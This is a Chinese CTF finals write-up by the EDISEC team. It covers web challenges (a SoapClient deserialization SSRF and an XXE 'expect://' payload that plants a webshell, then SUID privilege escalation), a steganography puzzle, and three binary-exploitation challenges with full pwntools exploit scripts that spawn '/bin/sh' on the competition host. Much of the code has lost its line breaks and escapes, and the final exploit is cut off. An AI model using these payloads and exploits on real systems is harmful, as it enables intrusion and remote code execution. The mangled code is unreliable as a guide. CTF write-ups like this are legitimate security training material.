第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

WriteUp 8个月前 admin
467 0 0

EDI

JOIN US ▶▶▶

招新


EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。

欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn 方向的师傅)有意向的师傅请联系邮箱[email protected][email protected](带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。


点击蓝字 ·  关注我们

01

Web

1

message_board

代码做了enphp加密,首先工具解混淆

审计一下,Db.php里面insert没过滤直接插入了,存在insert注入,insert调用点一共有两个,一个是注册,一个是发布。

注册这里有个Utils::*getIp*(),在Utils.php实现且存在xff头伪造,题目修复可以对getIp的返回值做过滤,使其无法进行sql注入

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

所以我们可以在注册点进行sql注入,在另一个发布功能的注入点是在author,也就是用户名,但注册时对用户名进行了过滤,所以我们需要使用xxf的insert来绕过,从而利用newPost处的注入。

查看admin的登录逻辑,密码为弱口令password,直接登录会显示不允许异地登陆,对登录的ip进行了限制

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

第一个想到的就是ssrf,而ssrf可用通过原生类SoapClient反序列化触发__call,全局搜索unserialize可以找到Utils.php下result2ContentArray函数存在反序列化并调用toArray

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

result2ContentArray在getPosts处被调用

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

我们通过insert注入来控制content就能触发到反序列化,从而实现ssrf

先生成反序列化数据


<?php$target = 'http://127.0.0.1/index.php?s=login';$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^Cookie: PHPSESSID=edisec^^Content-Length: 32^^^^username=admin&password=password','uri'=> "a"));$a = serialize($b);$a = str_replace('^^',"rn",$a);$a = str_replace('&', '%26', $a);echo bin2hex(urldecode($a));?>

编写注入payload并再次hex编码,然后xff头处进行注入,完成准备工作

然后登录恶意用户,发布并获取,触发反序列化,这时我们就可以使用phpsession=edisec登录admin了

在后台用户存在mysql配置修改,猜测应该是连接恶意mysql进行任意文件读取,但没下对应工具没有实操


2

babyweb

php的cms,在忘记用户那可以枚举用户名测试存在用户,并看到注册的邮箱,由于使用公共环境,所以跑出来的用户有点多,但有一个administrator用户的邮箱为[email protected],应该是管理员没跑了。

创个账号进去,在源码那找到一个market.php,访问提示需要管理员,那就看忘记密码功能。

忘记密码时会发送一个token到邮箱,填写token来重置密码。功能参数为email,且不检查用户session,可以发送两个email,一个为自己的,一个为[email protected],使用自己邮箱内的token来重置管理员的密码。

进入后台后看到订单管理,已经有上一队帮我买好了flag和赠礼两个商品。查看flag给了一个地址。查看地址,是一个文件上传功能,白名单过滤,但允许上传svg类型图片,结合之前的赠礼提示应该是svg的xxe漏洞结合expect进行命令执行。

因为expect格式的特性,直接echo写shell没成功,所以先上传一个png,然后mv这个png为php即可

payloiad:


<?xml version="1.0" encoding="utf-8"?>    <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://mv$IFSxx.png$IFSxx.php" >]><root><name>&xxe;</name></root>

蚁剑连接,ls -l查看flag为root权限,suid提权,找到sed存在suid,使用命令sed -e ‘’ flag.txt获得flag


02

Misc

1

Twin shadow

mp3文件,有点大,先拿去binwalk一下,分离出一个png文件

拖到stegsolve里敲一敲,lsb隐写,分离一下

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

分离一个zip出来,但需要密码,只能调头再看一看mp3文件,拖到010里面看看,发现private_bit里面有数据,但很多且间隔大小不同

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

先从010里面把数据导出csv里面,把size读到一个list里面,改下脚本,从list里面获取step

import reimport binascii
n = 598795result = ''fina = ''f=open('list.txt','r').read()steps=f.split("n")
step_list=[]for i in steps: step_list.append(int(i,16))
file = open('1.mp3','rb')num=0while num < len(step_list) : file.seek(n,0) n += step_list[num] file_read_result = file.read(1) read_content = bin(ord(file_read_result))[-1] result = result + read_content num+=1print(result)

随便扔1000个进去,再把多余0删了,然后解一下

import re
fina = ''result = '01010100010010000110010100101101010100000110111101110111011001010101001000101101011101000110111100101101010000100101001001100101011000010110101100101101011101000100100001100101001011010100011001100001011101000110010100101101001100010101001100101101010100110111010101010010011001010110110001011001001011010110110000110001011010110110010100101101011101000100100000110011001011010100001001001100010000010100010000110011001000000011011101101111001011010110001001100101001000000110110100110000011101100011001101000100001000000100010001001111010101110110111000000000'textArr = re.findall('.{'+str(8)+'}', result)# textArr.append(result[(len(textArr)*8):])for i in textArr: fina = fina + chr(int(i,2)).strip('n')print(fina)

得到 THe-PoweR-to-BReak-tHe-Fate-1S-SuRelY-l1ke-tH3-BLAD3 7o-be m0v3D DOWn

用它解开zip后,得到The key is the same as the zip but in the dark side(RC4).txt

应该是使用zip的密码进行rc4解密,试了几个格式后,用sha1加密后为rc4密钥,解密得flag

03

PWN

1

pwn_ad3

打开ida 简单分析 看着像是llvm套的vm(蚌埠住了)

vm初始化伪代码如下

_DWORD *__fastcall sub_1530(__int64 a1, int a2, int a3){  _DWORD *v4; // rbp  int v5; // r12d  int v6; // eax  bool v8; // [rsp+Eh] [rbp-3Ah]  bool v9; // [rsp+Fh] [rbp-39h]
v4 = calloc(1uLL, 0x20F0uLL); v8 = (((_BYTE)dword_628C * ((_BYTE)dword_628C - 1)) & 1) == 0; v5 = 2112114787; if ( (((_BYTE)dword_628C * ((_BYTE)dword_628C - 1)) & 1) == 0 ) v5 = 534868956; v9 = dword_6294 < 10; if ( dword_6294 < 10 ) v5 = 534868956; v6 = 1909852961; do {LABEL_9: if ( v6 != 1909852961 ) { if ( v6 == 2112114787 ) { *(_QWORD *)v4 = a1; v4[2] = a2; *((_QWORD *)v4 + 2) = calloc(a3, 4uLL); v4[6] = a3; v6 = -483786444; break; } goto LABEL_20; } v6 = 2112114787; if ( v9 ) v6 = -483786444; if ( v8 ) v6 = -483786444; } while ( v6 > 1909852960 ); while ( v6 == -483786444 ) { *(_QWORD *)v4 = a1; v4[2] = a2; *((_QWORD *)v4 + 2) = calloc(a3, 4uLL); v4[6] = a3; v6 = v5; if ( v5 > 1909852960 ) goto LABEL_9; } if ( v6 != 534868956 ) { while ( 1 )LABEL_20: ; } return v4;}

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

因此我们只需要看细节初始化的地方就行了,sub_1530总结如下

//a1=main函数的栈地址(也是我们输入vmcode的地址)   a2=40000   a3=0sub_1530:
_DWORD *v4;v4 = calloc(1uLL, 0x20F0uLL);*(_QWORD *)v4 = a1;v4[2] = a2;*((_QWORD *)v4 + 2) = calloc(a3, 4uLL);v4[6] = a3;*(_QWORD *)v4 = a1;v4[2] = a2;*((_QWORD *)v4 + 2) = calloc(a3, 4uLL);v4[6] = a3;return v4;

写个简单的结构体导入一下(control+f9)(也根据vm run函数的处理过程做修改)

struct vm{  int *code_addr;  int size;  int *regs;  int r_num;  int stack[0x830];};

上面的代码就变为:

v4->code_addr = (int *)a1;v4->size = a2;v4->regs = (int *)calloc(a3, 4uLL);v4->r_num = a3;

vm run函数也是llvm混淆过的

代码太多,就说下大体分析思路了

首先根据结构体数据赋值吧变量名改下(其实我也没有怎么改)

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

主要是opcode的取值赋值 比较 以及跳转 摸清 写个 目录就好了

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

v8就是opcode,根据v10的跳转

v22=v8   v30=0   v19=-1.  v21=-1

然后 可以发现有很多个 v22和0,1,2,3,4 ········比较的地方

我们把我们想要的地方下上断点,然后,0~21逐个试一遍,程序断在我们想要的位置即可

比如在我们修改了regs这个指针的情况下,看到这样一条指令


第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

一眼我们就可以看出来这个是 pop指令  regs指针为寄存器结构体地址指针,我们可以通过修改regs指针就可以造成任意地址读写,我们可以断点下在这里找到opcode对应的操作指令

我们可以用相同的方法找到  (push 立即数),(push寄存器),(pop 寄存器) (打印栈值)这4种指令即可完成利用

   def push(a):               return p32(9)+p32(a)              def push_r(a):               return p32(0xb)+p32(a)             def pop_r(a):               return p32(0xd)+p32(a)              def again():               return p32(0x12)              def show(a):               return p32(0xe)*a

因为vm初始化的时候里面放入了栈地址(code地址) 以及heap地址,那么我们可以通过print打印出来

然后通过修改regs为栈地址泄露栈地址中的libc

最后再通过修改__regs为free_hook 或者 stack地址都可以完成最后的利用

EXP

#coding:utf-8import sysfrom pwn import *from ctypes import CDLLcontext.log_level='debug'elfelf='./chall'#context.arch='amd64'libc_base=0heap_base=0idx=0x10while True :  # try :    elf=ELF(elfelf)    context.arch=elf.arch
gdb_text=''' b *$rebase(0x1410) '''
if len(sys.argv)==1 : clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') io=process(elfelf) gdb_open=1 # io=process(['./'],env={'LD_PRELOAD':'./'}) clibc.srand(clibc.time(0)) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else : clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') io=remote('172.16.9.5',9092) gdb_open=0 clibc.srand(clibc.time(0)) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a): if gdb_open==1 : gdb.attach(io,a) sleep(0.5)
def push(a): return p32(9)+p32(a)
def push_r(a): return p32(0xb)+p32(a)
def pop_r(a): return p32(0xd)+p32(a)
def again(): return p32(0x12)
def show(a): return p32(0xe)*a
gdb_attach(io,gdb_text) io.sendafter('input: ',show(7)+again()) io.recvuntil('0n') heap_addr1=int(io.recv(5)[:-1],16) heap_addr2=int(io.recv(8),16)+0x20 io.recvuntil('9c40n') stack_addr1=int(io.recv(5)[:-1],16) stack_addr2=int(io.recv(8),16)+0x9C58
pay=show(3)+push(stack_addr2)+push(stack_addr1) pay+=push_r(0)+push_r(1)+show(4)+push(heap_addr2)+push(heap_addr1) io.sendafter('input: ',pay+again()) io.recvuntil('n') io.recvuntil('n') io.recvuntil('n') libc1=int(io.recv(5)[:-1],16) libc_base=int(io.recv(8),16)-0x23f90-243
libc.address=libc_base bin_sh_addr=libc.search('/bin/shx00').next() system_addr=libc.sym['system'] free_hook_addr=libc.sym['__free_hook']

pay=show(3)+push(free_hook_addr-8)+push(libc1) pay+=push(u32('/bin'))+pop_r(0) pay+=push(u32('/shx00'))+pop_r(1) pay+=push(system_addr)+pop_r(2) pay+=push(libc1)+pop_r(3) io.sendafter('input: ',pay+again())

# success('libc_base:'+hex(libc_base)) success('heap_base:'+hex(heap_base)) # success('stack_addr:'+hex((stack_addr1<<32)+stack_addr2))
io.interactive()
# except Exception as e: # io.close() # continue # else: # continue


2

sitnote


这个题目只能说一言难尽,线下赛也能把✋?伸进libc里面可还行

赛场上是这个样子的,题目下来,llvm,然后开始跑脚本去llvm

去了两个函数之后程序大体逻辑,显现出来了,菜单堆,但是没有打印菜单。

// local variable allocation has failed, the output may be wrong!int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  __int64 v3; // rcx  __int64 v4; // rdx  __int64 v5; // rcx  unsigned __int64 v6; // rdi  __int64 v7; // rsi  __int64 v8; // rax  int v9; // eax  __int64 v10; // rcx  __int64 v11; // rsi  __int64 v12; // rdi  __int64 v13; // rsi  __int64 v14; // rcx  __int64 v15; // rsi  __int64 v16; // rdi  int v17; // esi  __int64 v18; // rax  int v19; // eax  _DWORD v20[6]; // [rsp+0h] [rbp-130h] BYREF  __int64 *v21; // [rsp+18h] [rbp-118h]  int i; // [rsp+E0h] [rbp-50h]  char v23; // [rsp+E6h] [rbp-4Ah]  bool v24; // [rsp+E7h] [rbp-49h]  _DWORD *v25; // [rsp+E8h] [rbp-48h]  __int64 *v26; // [rsp+F0h] [rbp-40h]  __int64 v27; // [rsp+F8h] [rbp-38h]
v4 = (unsigned int)(dword_6C2688 - 1); v23 = ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0; v24 = dword_6C2690 < 10; v3 = 112080690LL; LOBYTE(argv) = 0; LOBYTE(argc) = 0; LOBYTE(v4) = 1; if ( !((dword_6C2690 < 10 && (v23 & 1) != 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~v23) & 1) ) goto LABEL_34; while ( 1 ) { v25 = &v20[-4]; v26 = (__int64 *)&v20[-4]; v20[-4] = 0; init(*(_QWORD *)&argc, argv, v4, v3); v3 = 2845733290LL; v4 = 3632247323LL; LOBYTE(argv) = 1; *(_QWORD *)&argc = (((_BYTE)dword_6C2688 - 7 + 6) * (_BYTE)dword_6C2688) & 1; if ( (dword_6C2690 < 10 && argc == 0) | (dword_6C2690 < 10) ^ (argc == 0) ) break;LABEL_34: v20[-4] = 0; init(*(_QWORD *)&argc, argv, v4, v3); i = 112080690; } for ( i = 99838845; ; i = 99838845 ) { v5 = 3325517854LL; LOBYTE(v4) = 1; v6 = (unsigned int)dword_6C2690; v7 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1; if ( !((dword_6C2690 < 10 && (_DWORD)v7 == 0) | (dword_6C2690 < 10) ^ ((_DWORD)v7 == 0)) ) goto LABEL_35; while ( 1 ) { v8 = read_long(v6, v7, v4, v5); v5 = 3801052166LL; v4 = 817338735LL; v6 = (unsigned __int64)v26; *v26 = v8; v27 = *v26; LOBYTE(v7) = 1; if ( (dword_6C2690 < 10 && ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~(((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0)) & 1 ) break;LABEL_35: v18 = read_long(v6, v7, v4, v5); v5 = (__int64)v26; *v26 = v18; i = -969449442; v21 = v26; } i = 1818302425; if ( v27 < 4 ) { if ( v27 >= 2 ) { v4 = v27; if ( v27 >= 3 ) { show(v6, v7, v27, 2777366289LL); i = 115005891; goto LABEL_31; } v10 = 23550316LL; v11 = 0xFFFFFFFFLL; v12 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1; LOBYTE(v4) = 1; if ( (dword_6C2690 < 10 && (_DWORD)v12 == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~((_DWORD)v12 == 0)) & 1 ) goto LABEL_20; while ( 1 ) { edit(v12, v11, v4, v10); i = 23550316;LABEL_20: edit(v12, v11, v4, v10); v10 = 3300370907LL; v12 = (unsigned int)dword_6C2690; v4 = 0xFFFFFFFFLL; v11 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1; if ( (dword_6C2690 < 10) ^ ((_DWORD)v11 == 0) | (dword_6C2690 < 10 && (_DWORD)v11 == 0) ) { i = 115005891; goto LABEL_31; } } } if ( v27 == 1 ) { add(v6, v7, 1LL, 3625747768LL); i = 115005891; goto LABEL_31; } goto LABEL_28; } if ( v27 >= 6 ) { if ( v27 < 7 ) { v14 = 2980125399LL; v15 = (unsigned int)dword_6C2690; v16 = (unsigned int)(dword_6C2688 - 1); v4 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1; if ( (dword_6C2690 < 10) ^ ((_DWORD)v4 == 0) | (dword_6C2690 < 10 && (_DWORD)v4 == 0) ) {LABEL_26: sub_401650(v16, v15, v4, v14); v14 = 3602426981LL; v16 = (unsigned int)dword_6C2690; v15 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1; LOBYTE(v4) = 1; if ( (dword_6C2690 < 10 && (_DWORD)v15 == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~((_DWORD)v15 == 0)) & 1 ) { i = 115005891; goto LABEL_31; } } sub_401650(v16, v15, v4, v14); i = -1314841897; goto LABEL_26; } v9 = -1976565134; if ( v27 == 7 ) v9 = 1617921039; i = v9;LABEL_28: i = -1369147532; v17 = (((_BYTE)dword_6C2688 - 120 + 119) * (_BYTE)dword_6C2688) & 1; if ( !((dword_6C2690 < 10 && v17 == 0) | (dword_6C2690 < 10) ^ (v17 == 0)) ) goto LABEL_39; while ( 1 ) { sub_40B960("Unknown"); v4 = 2208571241LL; if ( (dword_6C2690 < 10 && ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~(((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0)) & 1 ) { i = 115005891; goto LABEL_31; }LABEL_39: v19 = sub_40B960("Unknown"); i = 2025167804; v20[5] = v19; } } if ( v27 >= 5 ) { v13 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1; if ( (dword_6C2690 < 10) ^ ((_DWORD)v13 == 0) | (dword_6C2690 < 10 && (_DWORD)v13 == 0) ) backdoor(0LL, v13, 0xFFFFFFFFLL, 3012737502LL); backdoor(0LL, v13, 0xFFFFFFFFLL, 3012737502LL); } delete(v6, v7, v27, 839414269LL); i = 115005891;LABEL_31: if ( !((dword_6C2690 < 10 && ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~(((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0)) & 1) ) goto LABEL_40; while ( !((dword_6C2690 < 10 && ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0) | (dword_6C2690 < 10) ^ (((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0)) )LABEL_40: i = 1652216043; }}

虽然去过之后还是一坨答辩,但是已经是相当不错了,清晰的 if比较从1到6的指向

简单看了add  delete  edit  show 都没有漏洞,点开后门发现llvm去了之后也是难以分析清楚

__int64 __fastcall sub_401650(__int64 a1, __int64 a2){  v31 = ((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0;  v32 = dword_6C268C < 10;  if ( !(((dword_6C268C < 10) ^ v31) & 1 | (dword_6C268C < 10 && v31)) )    goto LABEL_17;  while ( 1 )  {    v33 = v23;    v2 = &v23[-16];    v34 = &v23[-16];    v35 = dword_6C1330 != 0;    v3 = dword_6C268C;    v4 = dword_6C2680 - 1233492817 + 1233492816;    v5 = (((_BYTE)dword_6C2680 - 81 + 80) * (_BYTE)dword_6C2680) & 1;    LOBYTE(a2) = (dword_6C268C < 10) ^ (v5 == 0);    if ( (unsigned __int8)a2 | (dword_6C268C < 10 && v5 == 0) )      break;LABEL_17:    v30 = -74059996;  }  LOBYTE(v2) = v35;  if ( v35 )  {    result = sub_40B960("You have use the backdoor once");    v30 = 646810775;    v29 = result;  }  else  {    dword_6C1330 = 1;    *(_QWORD *)v33 = 0LL;    v28 = printf((unsigned int)"Input: ", a2, (_DWORD)v2, 1528823701, v3, v4, v23[0]);    v9 = read_long("Input: ", a2, v7, v8);    *(_QWORD *)v33 = v9;    if ( *(_QWORD *)v33 >= 0x10uLL )      goto LABEL_9;    if ( !((dword_6C268C < 10) ^ (((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0) | (dword_6C268C < 10                                                                                                && ((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0)) )      goto LABEL_18;    while ( 1 )    {      v10 = *(_QWORD *)v33;      v36 = (&buf)[*(_QWORD *)v33] == 0LL;      v11 = dword_6C2680 - 633399322 + 633399321;      v12 = (((_BYTE)dword_6C2680 - 26 + 25) * (_BYTE)dword_6C2680) & 1;      if ( (dword_6C268C < 10) ^ (v12 == 0) | (dword_6C268C < 10 && v12 == 0) )        break;LABEL_18:      v30 = 906460608;      v26 = v33;    }    if ( v36 )    {LABEL_9:      v13 = (((_BYTE)dword_6C2680 - 103 + 102) * (_BYTE)dword_6C2680) & 1;      if ( !((dword_6C268C < 10) ^ (v13 == 0) | (dword_6C268C < 10 && v13 == 0)) )        goto LABEL_19;      while ( 1 )      {        result = 860644631LL;        if ( (dword_6C268C < 10) ^ (((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0) | (dword_6C268C < 10 && ((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0) )          break;LABEL_19:        v30 = -206821341;      }      v30 = 646810775;    }    else    {      v14 = -2078560568;      v15 = dword_6C2680 - 1692356262 + 1692356261;      v16 = (((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1;      LOBYTE(v11) = 0;      LOBYTE(v10) = 1;      if ( !((dword_6C268C < 10 && (_DWORD)v16 == 0) | ((unsigned __int8)~(dword_6C268C < 10) ^ (unsigned __int8)~((_DWORD)v16 == 0)) & 1) )        goto LABEL_20;      while ( 1 )      {        v27 = printf((unsigned int)"Input: ", v16, v10, v14, v15, v11, v23[0]);        v19 = read_long("Input: ", v16, v17, v18);        v14 = 307732780;        LODWORD(v10) = 847373277;        *(_QWORD *)v34 = v19;        v37 = *(_QWORD *)v34 < count[*(_QWORD *)v33];        v16 = 0xFFFFFFFFLL;        v11 = (((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1;        LOBYTE(v15) = (dword_6C268C < 10) ^ (v11 == 0);        if ( (unsigned __int8)v15 | (dword_6C268C < 10 && v11 == 0) )          break;LABEL_20:        v25 = printf((unsigned int)"Input: ", v16, v10, v14, v15, v11, v23[0]);        v22 = read_long("Input: ", v16, v20, v21);        *(_QWORD *)v34 = v22;        v30 = -2078560568;        v24 = v34;      }      result = 646810775LL;      if ( v37 )      {        result = *(_QWORD *)v34;        count[*(_QWORD *)v33] = *(_QWORD *)v34;        v30 = 646810775;      }    }  }  return result;}

额也看不是很懂,索性直接patch掉main函数调用后门的地方,然后还被脚本利用成功了,此时怀疑是libc有问题,查看了下编译的libc,是18.04的直接本地拖了一个相应的libc开始 bindiff  对着ida开始看 malloc  free


第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

问题出在这里

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

对着本地malloc的源码看的。

把一个chunk放了两次进tcache bin 并且 couts[tc_idx]+=2

所以这个题就简单了,从fastbin 取出的时候出了个bug 因此申请9个chunk 然后全delete

再申请8个,第九个就放到tcache两次了就 想当于double free

之后就随便做了,patch的方法也很简单照着源码给他还原成放一个回去即可。

EXP

#coding:utf-8import sysfrom pwn import *from ctypes import CDLLcontext.log_level='debug'elfelf='./sitnote'#context.arch='amd64'libc_base=0heap_base=0while True :  # try :    elf=ELF(elfelf)    context.arch=elf.arch    gdb_text='''      telescope $rebase(0x202040) 16      '''
if len(sys.argv)==1 : clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') io=process(elfelf) gdb_open=1 # io=process(['./'],env={'LD_PRELOAD':'./'}) clibc.srand(clibc.time(0)) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else : clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') io=remote('172.16.9.5',9095) gdb_open=0 clibc.srand(clibc.time(0)) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a): if gdb_open==1 : gdb.attach(io,a)
def choice(a): sleep(0.1) io.sendline(str(a))
def add(a,b): choice(1) io.sendlineafter('Input: ',str(a)) io.sendlineafter('Input: ',str(b))
def edit(a,b): choice(2) io.sendlineafter('Input: ',str(a)) io.sendafter('Output: ',b)
def show(a): choice(3) io.sendlineafter('Input: ',str(a))
def delete(a): choice(4) io.sendlineafter('Input: ',str(a))
for i in range(0xa): add(i,0x78)
for i in range(9): delete(i)
for i in range(0x9): add(i,0x78)
add(10,0x78) delete(9) delete(10) edit(8,p64(0x6c1ec8)) add(9,0x78) add(10,0x78) edit(9,'/bin/shx00') edit(10,p64(0x40ab70))
delete(9)
success('libc_base:'+hex(libc_base)) success('heap_base:'+hex(heap_base))
gdb_attach(io,gdb_text) io.interactive()
# except Exception as e: # io.close() # continue # else: # continue


3

message_system

这是个线程管道题目,可以建立管道通信的题目 关键部分在于 线程处理和线程链接处,以及gift调用处

首先是去简单混淆的idapython代码

start=0x11f7end=0x5e30
for addr in idautils.Heads(start, end): if 'call sub_1158' == idc.GetDisasm(addr): addr1=addr addr3=addr+5 while True: addr2=addr1 addr1=idc.prev_head(addr1) if 'mov r12, [rbp+' in idc.GetDisasm(addr1): addr2=addr1 addr1=idc.prev_head(addr1) addr2=addr1 addr1=idc.prev_head(addr1) break if 'mov rax,'in idc.GetDisasm(addr1): call_addr=0 call_addr+=idc.get_wide_byte(addr1+3) call_addr+=(idc.get_wide_byte(addr1+4)<<8) call_addr+=(idc.get_wide_byte(addr1+5)<<16) call_addr+=(idc.get_wide_byte(addr1+6)<<24) call_addr+=addr2 call_addr=idc.get_wide_word(call_addr) print(hex(call_addr)) print(idc.GetDisasm(addr1))
if 'lea rax,'in idc.GetDisasm(addr1): call_addr=0 call_addr+=idc.get_wide_byte(addr1+3) call_addr+=(idc.get_wide_byte(addr1+4)<<8) call_addr+=(idc.get_wide_byte(addr1+5)<<16) call_addr+=(idc.get_wide_byte(addr1+6)<<24) call_addr+=addr2 # call_addr&=0xffffffff print(hex(call_addr)) print(idc.GetDisasm(addr1))
value=call_addr-addr3 for i in range(4): v1=(value>>(i*0x8))&0xff idc.patch_byte(addr+1+i,v1)

去混淆之后ida就能看了

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

重点的只有选项1选项3选项10

先看1

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

首先这里是创建了主线程与即将创建线程链接的管道

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

我们可以看到,创建了两个管道,两个机构体参数分别存了不同管道的输入和输出,这样就定义了我们可以与新开的线程进行交互,具体进行交互的地方如下,

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

详情请看

https://blog.csdn.net/weixin_44471948/article/details/120846877

懒得写原理了,这个题就这一个主要知识点,这个不会就G,我是之前在学kernel pwn pipe_buffer的时候顺带看了一下pipe的原理。

说一下漏洞触发点吧

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

选项1里面创建的线程选项1和选项2分别可以造成线程栈的负数溢出

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC


大家patch的时候也是把这里patch了就完事了改成无符号比较就OK了。

一个是从数据包中向栈上拷贝,另一个是从栈上向数据包中拷贝。

这两个都有一个前提是v15≤7,v15这个值从程序的调用来看每次都是定值0x10

所以我们需要绕过

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

在这个线程函数的最下方有个循环会逐次v15会逐次减一这么发包,这里就是很关键的要绕过的点。

然后我们看看具体细节,v24是存储线程内链接管道结构体的结构体组,这个可以根据上下文理解得来,

one是数据包取出的第一个4字节数据

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

当one不等于v24[0]也就是第一个管道链接结构体组的id时就会进入下面循环,

先看一下选项10

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

我们可以看到这个函数就是发送给0号并且从0号接收的,数据包的选项内容什么的是由我们自构造

one为 这个函数的里面我们输入的id    v14也就是包里的第二个数据是0第三个参数也就是v15是0x10

后面的数据包括线程里面的选项和其他数据都是我们自己去输入的。

那么我们看看如何构造,我们来看看链接函数。

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC


我只能说这个link有一点点复杂,但是不难理解,id1 t_id1  id2 t_id2      4个id索引

就是id1  线程添加一个标号为t_id2,然后发送 id2 里面标号为 t_id2进行相互发送

因此我们可以构造

for i in range(0xf):      add(i,'keer','aaaa')
for i in range(0x9): link(i,9,i+1,0)
我们创建了0xf个线程,然后,构成了这么一个回路线程0里面存的除了与主线程发送和接收主线程的管道还存储了id为9 但是发送和接收都是与线程1交互的结构体流线程1里面存的除了与主线程发送和接收主线程的管道还存储了id为9 但是发送和接收都是与线程2交互的结构体流···以此类推如果我们通过主线程的选项10向线程0发送一个id为9,选项为2的包,我们先看下,下列过程(线程中)


第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

经过上图,发送个线程0id9,选项为2的数据包会:主线程->线程0->线程1->线程2->线程3->线程4->线程5->线程6->线程7->线程8->线程9然后进入线程中选项二copy栈中数据重新倒着走一遍线程9->线程8->线程7->线程6->线程5->线程4->线程3->线程2->线程1->线程0->主线程这样就可以绕过v15<=7这个限制了之后就是栈上数据泄露和栈上数据覆盖的操作了。

EXP

#coding:utf-8import sysfrom pwn import *from ctypes import CDLLcontext.log_level='debug'elfelf='./messageSystem'#context.arch='amd64'libc_base=0heap_base=0while True :  # try :    elf=ELF(elfelf)    context.arch=elf.arch
gdb_text=''' b *$rebase(0x2D11) b *$rebase(0x2AF4) '''
